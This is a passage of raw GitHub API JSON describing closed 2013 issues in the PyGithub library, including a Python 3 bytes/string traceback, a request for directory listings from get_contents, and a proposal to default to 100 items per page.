2"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2013-02-28T15:00:18Z","updated_at":"2013-03-03T19:08:21Z","closed_at":"2013-03-03T17:54:48Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi! \r\nI'm currently in the process of switching a program to python 3.2. I encounter the following problem: `TypeError: can't use a string pattern on a bytes-like object`\r\n\r\n```\r\nimport github\r\ngh_instance = github.Github('')\r\nuser = gh_instance.get_user()\r\nuser.name\r\n---------------------------------------------------------------------------\r\nTypeError Traceback (most recent call last)\r\n in ()\r\n----> 1 user.name\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/AuthenticatedUser.py in name(self)\r\n 166 :type: string\r\n 167 \"\"\"\r\n--> 168 self._completeIfNotSet(self._name)\r\n 169 return self._NoneIfNotSet(self._name)\r\n 170 \r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in _completeIfNotSet(self, value)\r\n 61 def _completeIfNotSet(self, value):\r\n 62 if not self.__completed and value is NotSet:\r\n---> 63 self.__complete()\r\n 64 \r\n 65 def __complete(self):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/GithubObject.py in __complete(self)\r\n 68 self._url,\r\n 69 None,\r\n---> 70 None\r\n 71 )\r\n 72 self._useAttributes(data)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in requestJsonAndCheck(self, verb, url, parameters, input)\r\n 77 \r\n 78 def requestJsonAndCheck(self, verb, url, parameters, input):\r\n---> 79 return self.__check(*self.requestJson(verb, url, parameters, input))\r\n 80 \r\n 81 def requestMultipartAndCheck(self, verb, url, parameters, input):\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __check(self, status, responseHeaders, output)\r\n 83 \r\n 84 def __check(self, status, responseHeaders, output):\r\n---> 85 output = self.__structuredFromJson(output)\r\n 86 if status >= 400:\r\n 87 raise GithubException.GithubException(status, output)\r\n\r\n/usr/local/lib/python3.2/dist-packages/github/Requester.py in __structuredFromJson(self, data)\r\n 92 return None\r\n 93 else:\r\n---> 94 return json.loads(data)\r\n 95 \r\n 96 def requestJson(self, verb, url, parameters, input):\r\n\r\n/usr/lib/python3.2/json/__init__.py in loads(s, encoding, cls, object_hook, parse_float, parse_int, parse_constant, object_pairs_hook, **kw)\r\n 307 parse_int is None and parse_float is None and\r\n 308 parse_constant is None and object_pairs_hook is None and not kw):\r\n--> 309 return _default_decoder.decode(s)\r\n 310 if cls is None:\r\n 311 cls = JSONDecoder\r\n\r\n/usr/lib/python3.2/json/decoder.py in decode(self, s, _w)\r\n 351 \r\n 352 \"\"\"\r\n--> 353 obj, end = self.raw_decode(s, idx=_w(s, 0).end())\r\n 354 end = _w(s, end).end()\r\n 355 if end != len(s):\r\n\r\nTypeError: can't use a string pattern on a bytes-like object\r\n```\r\nIt's `PyGithub-1.12.1` installed via `pip-3.2` and python `'3.2.3 (default, Oct 19 2012, 19:53:57) \\n[GCC 4.7.2]'`"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/140/events","html_url":"https://github.com/jacquev6/PyGithub/issues/140","id":10922412,"number":140,"title":"Repository.get_contents does not return directory information","user":{"login":"ksookocheff-va","id":2529590,"avatar_url":"https://secure.gravatar.com/avatar/ae7eed65e46234c210912a1e474f2f1c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae7eed65e46234c210912a1e474f2f1c","url":"https://api.github.com/users/ksookocheff-va","html_url":"https://github.com/ksookocheff-va","followers_url":"https://api.github.com/users/ksookocheff-va/followers","following_url":"https://api.github.com/users/ksookocheff-va/following{/other_user}","gists_url":"https://api.github.com/users/ksookocheff-va/gists{/gist_id}","starred_url":"https://api.github.com/users/ksookocheff-va/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ksookocheff-va/subscriptions","organizations_url":"https://api.github.com/users/ksookocheff-va/orgs","repos_url":"https://api.github.com/users/ksookocheff-va/repos","events_url":"https://api.github.com/users/ksookocheff-va/events{/privacy}","received_events_url":"https://api.github.com/users/ksookocheff-va/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/22/labels","id":266004,"number":22,"title":"Version 1.12.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2013-02-13T07:10:18Z","updated_at":"2013-02-20T18:45:16Z","due_on":null},"comments":6,"created_at":"2013-02-12T19:53:26Z","updated_at":"2013-02-16T22:45:00Z","closed_at":"2013-02-16T18:14:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The GitHub API returns a list of all files in a directory when you use Get Contents on a directory.\r\n\r\nexample:\r\nhttps://api.github.com/repos/twitter/bootstrap/contents/js/?ref=d28343dc3ad53a411ae3685e7d6a7866c8c22d6b\r\n\r\nCurrently PyGithub only returns None when using this API to query a directory."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/events","html_url":"https://github.com/jacquev6/PyGithub/issues/145","id":11844658,"number":145,"title":"Configure default requests with per_page=100","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":6,"created_at":"2013-03-09T21:47:07Z","updated_at":"2013-03-21T20:47:58Z","closed_at":"2013-03-21T20:47:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Per http://developer.github.com/v3/#pagination, the max items that can possibly be requested is 100 as opposed to the default of 30. From what I can tell, the default is used in all requests and there's no way to override it without modifying the source. Hence, about 1/3 of the available data is being returned on lots of requests\r\n\r\nIs there a reason not to go ahead and add a default per_page=100 to all API requests? Best case, it results in faster access to data, and worst case, it has no effect. For my particular uses, I'm making lots of requests, and a speedup of ~3.3x would be a big help.\r\n\r\nThoughts?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/events","html_url":"https://github.com/jacquev6/PyGithub/issues/153","id":12566144,"number":153,"title":"Error \"500 None\" in python3","user":{"login":"sebastianstigler","id":772197,"avatar_url":"https://secure.gravatar.com/avatar/c3249014be386ebc7e509c25260c8a8b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c3249014be386ebc7e509c25260c8a8b","url":"https://api.github.com/users/sebastianstigler","html_url":"https://github.com/sebastianstigler","followers_url":"https://api.github.com/users/sebastianstigler/followers","following_url":"https://api.github.com/users/sebastianstigler/following{/other_user}","gists_url":"https://api.github.com/users/sebastianstigler/gists{/gist_id}","starred_url":"https://api.github.com/users/sebastianstigler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebastianstigler/subscriptions","organizations_url":"https://api.github.com/users/sebastianstigler/orgs","repos_url":"https://api.github.com/users/sebastianstigler/repos","events_url":"https://api.github.com/users/sebastianstigler/events{/privacy}","received_events_url":"https://api.github.com/users/sebastianstigler/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":6,"created_at":"2013-03-28T14:17:05Z","updated_at":"2013-03-28T19:33:19Z","closed_at":"2013-03-28T19:12:42Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 